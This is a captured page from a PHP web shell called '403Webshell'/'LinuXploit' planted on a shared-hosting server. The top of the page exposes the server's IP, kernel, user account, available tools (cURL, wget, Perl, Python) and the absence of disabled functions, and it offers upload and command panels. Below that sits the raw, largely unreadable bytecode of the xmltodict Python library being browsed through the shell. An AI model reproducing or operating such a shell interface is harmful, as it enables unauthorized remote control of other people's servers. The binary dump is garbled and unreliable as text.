403Webshell
Server IP : 104.21.64.206  /  Your IP : 216.73.216.114
Web Server : LiteSpeed
System : Linux premium234.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : pawazvgw ( 969)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib64/python3.12/site-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib64/python3.12/site-packages/__pycache__/xmltodict.cpython-312.pyc
�

���g0H��b�dZddlmZddlmZddlmZddlmZe	Z
ddlZee
eej�dd��dkrdd	lmZ
dd
lmZdZdZd
ZGd�de�ZGd�d�Zdeddddfd�Zdd�Z											dd�Z		dd�Zedk(rnddlZddl Z 	ejBjDZ!ejFjDZ#ejJdd\Z&ee&�Z&d�Z'	ee!e&e'e	��Z(e&dk(r
e'ge(�yyy#e$$rejBZ!ejFZ#Y�YwxYw#e)$rYywxYw) z:Makes working with XML feel like you are working with JSON�)�expat)�XMLGenerator)�AttributesImpl)�StringION�)��)�OrderedDict)�isgeneratorzMartin Blechz0.14.2�MITc��eZdZy)�ParsingInterruptedN)�__name__�
__module__�__qualname__���8/opt/hc_python/lib/python3.12/site-packages/xmltodict.pyrrs��rrc�h�eZdZdd�ddddddedd	ddd
fd�Zd�Zd
�Zd�Zd�Zd�Z	d�Z
d�Zd�Zd�Z
y)�_DictSAXHandlerrc��y�NTr)�argss r�<lambda>z_DictSAXHandler.<lambda>s��TrT�@�#textF�N�:z#commentc��g|_g|_g|_d|_||_||_||_||_||_||_	||_
||_|	|_|
|_
||_||_|	�|_|
|_||_y�N)�path�stack�data�item�
item_depth�xml_attribs�
item_callback�attr_prefix�	cdata_key�force_cdata�cdata_separator�
postprocessor�dict_constructor�strip_whitespace�namespace_separator�
namespaces�namespace_declarations�
force_list�comment_key)�selfr%r'r&r(r)r*r+r,r-r.r/r0r2r3s               r�__init__z_DictSAXHandler.__init__s�����	���
���	���	�$���&���*���&���"���&���.���*��� 0��� 0���#6�� �$���&6�&8��#�$���&��rc��|j�|S|j|j�}|dk(r|S|d|||dzd}}	|j|}|s|S|jj	||f�S#t$r|}Y�.wxYw)N����)r0�rfindr/�KeyError�join)r4�	full_name�i�	namespace�name�short_namespaces      r�_build_namez_DictSAXHandler._build_name=s����?�?�"����O�O�D�4�4�5����7���#�B�Q�-��1�Q�3�4��4�	�	(�"�o�o�i�8�O���K��+�+�0�0�/�4�1H�I�I���	(�'�O�	(�s�A/�/A=�<A=c	�t�t|t�r|S|jt|ddd�|ddd���S)Nrrr8)�
isinstance�dictr-�zip)r4�attrss  r�_attrs_to_dictz_DictSAXHandler._attrs_to_dictMs=���e�T�"��L��$�$�S��q�t�!�t��e�A�D�q�D�k�%B�C�Crc�*�||j|xsd<y)Nr)r1)r4�prefix�uris   r�startNamespaceDeclz"_DictSAXHandler.startNamespaceDeclRs��47��#�#�F�L�b�1rc���|j|�}|j|�}|r0|jr$|j|d<|j�|_|jj||xsdf�t
|j�|jk\r�|jj|j|jf�|jr�g}|j�D]e\}}|j|j|�z}|jr|j|j||�}n||f}|s�U|j|��g|j|�}nd}|xsd|_	g|_
yy)N�xmlns)rArGr1r-r!�append�lenr%r"r$r#r&�itemsr(r,)r4r<rFr?�attr_entries�key�value�entrys        r�startElementz_DictSAXHandler.startElementUsA�����	�*���#�#�E�*���T�0�0�!�8�8�E�'�N�*.�*?�*?�*A�D�'��	�	���$��
��.�/��t�y�y�>�T�_�_�,��J�J���t�y�y�$�)�)�4�5����!��"'�+�+�-�J�C���*�*�4�+;�+;�C�+@�@�C��)�)� $� 2� 2�4�9�9�c�5� I��!$�e����$�+�+�E�2�#0��-�-�l�;�����
��D�I��D�I�!-rc��|j|�}t|j�|jk(re|j}|�3|j
sdn$|jj|j
�}|j|j|�}|st�|j�r|j
sdn$|jj|j
�}|j}|jj�\|_|_|jr|r|j�xsd}|r|jr|�|j�}|�B|r|j!||j"|�|j!|j||�|_n1|j!|j||�|_nd|_g|_|jj�yr )rArOr!r%r$r#r+r;r'rr"�popr.�stripr*r-�	push_datar))r4r<r?r$�should_continuer#s      r�
endElementz_DictSAXHandler.endElementnsj�����	�*���t�y�y�>�T�_�_�,��9�9�D��|�$(�I�I��!�1�1�6�6�t�y�y�A��#�0�0����D�A�O�"�(�(��:�:� $�	�	�D��-�-�2�2�4�9�9�=�
��9�9�D�#'�:�:�>�>�#3� �D�I�t�y��$�$���z�z�|�+�t����(�(�T�\��,�,�.������N�N�4�����>� �N�N�4�9�9�d�D�A��	� �N�N�4�9�9�d�D�A��	��D�I��D�I��	�	�
�
�rc�d�|js	|g|_y|jj|�yr )r#rN�r4r#s  r�
charactersz_DictSAXHandler.characters�s$���y�y���D�I��I�I���T�"rc��|jr|j�}|j|j|j|�|_yr )r.rXrYr$r3r]s  r�commentsz_DictSAXHandler.comments�s4��� � ��:�:�<�D��N�N�4�9�9�d�.>�.>��E��	rc�P�|j�&|j|j||�}|�|S|\}}|�|j�}	||}t|t�r|j|�|S||g||<	|S#t$r$|j||�r	|g||<Y|S|||<Y|SwxYwr )r,r!r-rC�listrNr:�_should_force_list)r4r$rRr#�resultrSs      rrYz_DictSAXHandler.push_data�s������)��'�'��	�	�3��=�F��~����I�C���<��(�(�*�D�
	!���I�E��%��&����T�"���
#�D�M��S�	�����	!��&�&�s�D�1�!�F��S�	���!��S�	���	!�s�&A8�.A8�8!B%�B%�$B%c���|jsyt|jt�r|jS	||jvS#t$r#|j|jdd||�cYSwxYw)NFr7)r2rC�bool�	TypeErrorr!)r4rRrSs   rrcz"_DictSAXHandler._should_force_list�sd�������d�o�o�t�,��?�?�"�	?��$�/�/�)�)���	?��?�?�4�9�9�S�b�>�3��>�>�	?�s�
A�)A/�.A/)rrr�_dictr5rArGrKrUr[r^r`rYrcrrrrrsb���1�!� �"�"�!#�#�"'�"&�%(� � �'�!'�FJ� D�
8��2�>#�F�
�*?rrFrTc��tdd|i|��}t|t�r|xsd}|j|�}|sd}|j||�}		d|	_|j|	_|j|	_
|j|	_|j|	_|r|j|	_d|	_|r	d}
|	j$j'|
d�t-|d�r|	j/|�|j4St1|�r7|D]}|	j3|d	��|	j3d
d�|j4S|	j3|d�|j4S#t$rY��wxYw#t$rd�|	_d�|	_Y��wxYw)aParse the given XML input and convert it into a dictionary.

    `xml_input` can either be a `string`, a file-like object, or a generator of strings.

    If `xml_attribs` is `True`, element attributes are put in the dictionary
    among regular child elements, using `@` as a prefix to avoid collisions. If
    set to `False`, they are just ignored.

    Simple example::

        >>> import xmltodict
        >>> doc = xmltodict.parse("""
        ... <a prop="x">
        ...   <b>1</b>
        ...   <b>2</b>
        ... </a>
        ... """)
        >>> doc['a']['@prop']
        u'x'
        >>> doc['a']['b']
        [u'1', u'2']

    If `item_depth` is `0`, the function returns a dictionary for the root
    element (default behavior). Otherwise, it calls `item_callback` every time
    an item at the specified depth is found and returns `None` in the end
    (streaming mode).

    The callback function receives two parameters: the `path` from the document
    root to the item (name-attribs pairs), and the `item` (dict). If the
    callback's return value is false-ish, parsing will be stopped with the
    :class:`ParsingInterrupted` exception.

    Streaming example::

        >>> def handle(path, item):
        ...     print('path:%s item:%s' % (path, item))
        ...     return True
        ...
        >>> xmltodict.parse("""
        ... <a prop="x">
        ...   <b>1</b>
        ...   <b>2</b>
        ... </a>""", item_depth=2, item_callback=handle)
        path:[(u'a', {u'prop': u'x'}), (u'b', None)] item:1
        path:[(u'a', {u'prop': u'x'}), (u'b', None)] item:2

    The optional argument `postprocessor` is a function that takes `path`,
    `key` and `value` as positional arguments and returns a new `(key, value)`
    pair where both `key` and `value` may have changed. Usage example::

        >>> def postprocessor(path, key, value):
        ...     try:
        ...         return key + ':int', int(value)
        ...     except (ValueError, TypeError):
        ...         return key, value
        >>> xmltodict.parse('<a><b>1</b><b>2</b><b>x</b></a>',
        ...                 postprocessor=postprocessor)
        {'a': {'b:int': [1, 2], 'b': 'x'}}

    You can pass an alternate version of `expat` (such as `defusedexpat`) by
    using the `expat` parameter. E.g:

        >>> import defusedexpat
        >>> xmltodict.parse('<a>hello</a>', expat=defusedexpat.pyexpat)
        {'a': 'hello'}

    You can use the force_list argument to force lists to be created even
    when there is only a single child of a given level of hierarchy. The
    force_list argument is a tuple of keys. If the key for a given level
    of hierarchy is in the force_list argument, that level of hierarchy
    will have a list as a child (even if there is only one sub-element).
    The index_keys operation takes precedence over this. This is applied
    after any user-supplied postprocessor has already run.

        For example, given this input:
        <servers>
          <server>
            <name>host1</name>
            <os>Linux</os>
            <interfaces>
              <interface>
                <name>em0</name>
                <ip_address>10.0.0.1</ip_address>
              </interface>
            </interfaces>
          </server>
        </servers>

        If called with force_list=('interface',), it will produce
        this dictionary:
        {'servers':
          {'server':
            {'name': 'host1',
             'os': 'Linux'},
             'interfaces':
              {'interface':
                [ {'name': 'em0', 'ip_address': '10.0.0.1' } ] } } }

        `force_list` can also be a callable that receives `path`, `key` and
        `value`. This is helpful in cases where the logic that decides whether
        a list should be forced is more complex.


        If `process_comment` is `True` then comment will be added with comment_key
        (default=`'#comment'`) to then tag which contains comment

            For example, given this input:
            <a>
              <b>
                <!-- b comment -->
                <c>
                    <!-- c comment -->
                    1
                </c>
                <d>2</d>
              </b>
            </a>

            If called with process_comment=True, it will produce
            this dictionary:
            'a': {
                'b': {
                    '#comment': 'b comment',
                    'c': {

                        '#comment': 'c comment',
                        '#text': '1',
                    },
                    'd': '2',
                },
            }
    r/�utf-8NTz4http://apache.org/xml/features/disallow-doctype-declc��yr r��xs rrzparse.<locals>.<lambda>]s��drc��y)Nr8rrls rrzparse.<locals>.<lambda>_s��r�readFrr)rrC�str�encode�ParserCreate�ordered_attributes�AttributeErrorrK�StartNamespaceDeclHandlerrU�StartElementHandlerr[�EndElementHandlerr^�CharacterDataHandlerr`�CommentHandler�buffer_text�_reader�
setFeature�DefaultHandler�ExternalEntityRefHandler�hasattr�	ParseFiler�Parser$)�	xml_input�encodingr�process_namespacesr/�disable_entities�process_comments�kwargs�handler�parser�feature�chunks            r�parser��s���L�(�2E�(� &�(�G��)�S�!��&�w���$�$�X�.�	��"��
�U�
�
����F�
�$(��!�(/�'A�'A�F�$�!(�!5�!5�F��&�1�1�F��")�"4�"4�F��� '� 0� 0����F���		;�L�G��N�N�%�%�g�t�4��y�&�!�����#��<�<��

�Y�	��E��L�L���&�����S�$���<�<��	���Y��%��<�<���;�
��
���	;�%3�F�!�.:�F�+�	;�s$�
E�5E,�	E)�(E)�,F�Fc���|s|S	|j|d�\}}|j|j|��}|r)dj|j	|�r|nd|||�}|S|}|S#t
$rY|SwxYw)Nr8z{}{}{}{}r)�rsplit�getrX�format�
startswith�
ValueError)r?r0�ns_sepr(�ns�ns_ress      r�_process_namespacer�ks������6��;�;�v�q�)���D�������� 5�6��&,�� � ��=�=��5�K�2��F�D�"���K�26�	
��K���
���K�
�s�A*�*	A7�6A7c�T�t|||
|�}|�|||�}|�y|\}}t|d�rt|ttf�r|g}t|�D�]S\}}|r|dk(r|dkDrt
d��|�t�}nUt|t�r|rdnd}n>t|ttf�s(|
rt|d�rt|
|ff�}nt|�}t|t�rt||ff�}d}t�}g}|j�D]�\}}||k(r|}�|j|�r�t|||
|�}|dk(rOt|t�r?|j�D]+\}}dj|rd|��nd	�}t|�||<�-��t|t�st|�}|||t|�d<��|j||f���t|	t�rd
|	z}	|r|j||	z�|j!|t#|��|r|r|j|�|D] \}}t%||||||dz||||	||
|
��
�"|�|j'|�|r|r|j||	z�|j)|�|s��?|s��C|j|���Vy)
N�__iter__rzdocument with multiple roots�true�falsez@xmlnszxmlns{}rr� r8)r0r/�expand_iter)r�rrCrprD�	enumerater�rhrfrPr�r�rOrN�int�ignorableWhitespacerUr�_emitr^r[)rRrS�content_handlerr(r)�depth�preprocessor�pretty�newl�indentr/r0�
full_documentr�rd�index�v�cdatarF�children�ik�iv�k�attr�	child_key�child_values                          rr�r�zs����S�*�.A�;�
O�C����c�5�)���>���
��U��5�*�%��E�C��;�)G�����e�$���q��U�a�Z�E�A�I��;�<�<��9���A�
��4�
 ����A��A��c�{�+��w�q�*�5��K��+�-�.����F���a����	�1�~�'�(�A���������g�g�i�F�B���Y������}�}�[�)�'��J�8K�(3�5����>�j��T�&:� "���
���1�(�/�/�1�!�A�3��"�E��&)�!�f��d��!+��!�"�c�*��R��B�/1��b��[�)�*�+�,���O�O�R��H�%�! �"�f�c�"��6�\�F���/�/����?��$�$�S�.��*?�@��h��/�/��5�&.�"�I�{��)�[�/��y�%��'�<��$��:�&9�)�	
+�'/����&�&�u�-��h��/�/����?��"�"�3�'��e��/�/��5�k%rc��|rt|�dk7rtd��d}|�t�}d}|rt||d�}nt||�}|r|j	�|j�D]\}}	t
||	|fd|i|���|r|j�|r$|j�}		|	j|�}	|	Sy#t$rY|	SwxYw)axEmit an XML document for the given `input_dict` (reverse of `parse`).

    The resulting XML document is returned as a string, but if `output` (a
    file-like object) is specified, it is written there instead.

    Dictionary keys prefixed with `attr_prefix` (default=`'@'`) are interpreted
    as XML node attributes, whereas keys equal to `cdata_key`
    (default=`'#text'`) are treated as character data.

    The `pretty` parameter (default=`False`) enables pretty-printing. In this
    mode, lines are terminated with `'
'` and indented with `'	'`, but this
    can be customized with the `newl` and `indent` parameters.

    r8z$Document must have exactly one root.FNTr�)rOr�rr�
startDocumentrPr��endDocument�getvalue�decodert)
�
input_dict�outputr�r��short_empty_elementsr��must_returnr�rRrSs
          r�unparser��s���"��Z��A�-��?�@�@��K�
�~�������&�v�x��>��&�v�x�8����%�%�'� �&�&�(�
��U�
�c�5�/�	��	��	�)���#�#�%�����!��	��L�L��*�E���
���	����	�s�'B;�;	C�C�__main__r8c�<�tj||ft�yr)�marshal�dump�stdout)r!r$s  r�handle_itemr��s�����d�D�\�6�*�r)r%r'r-)rr)rrrNF�
�	rNTN)NrjTF)*�__doc__�xml.parsersr�xml.sax.saxutilsr�xml.sax.xmlreaderr�iorrDrh�platform�tuple�mapr��python_version_tuple�collectionsr
�inspectr�
__author__�__version__�__license__�	Exceptionrrr�r�r�r�r�sysr��stdin�bufferr�rt�argvr%r��root�KeyboardInterruptrrr�<module>r�s���<��)�,�������S�/�(�/�/�1�"�1�5�	6�7�&�@�0��
�
�����	��	�\?�\?�~#�%�E�!�D�5�p�f� �������!����I6�XFJ�!&�(�V�z������	�	� � �����"�"��
�H�H�Q�R�L�M�Z��Z��J��
��U� *�#.�&*�,����?���D�!��-�����	�	��������$�
��
�s$�,D�&D&�D#�"D#�&D.�-D.

Youez - 2016 - github.com/yon3zu
LinuXploit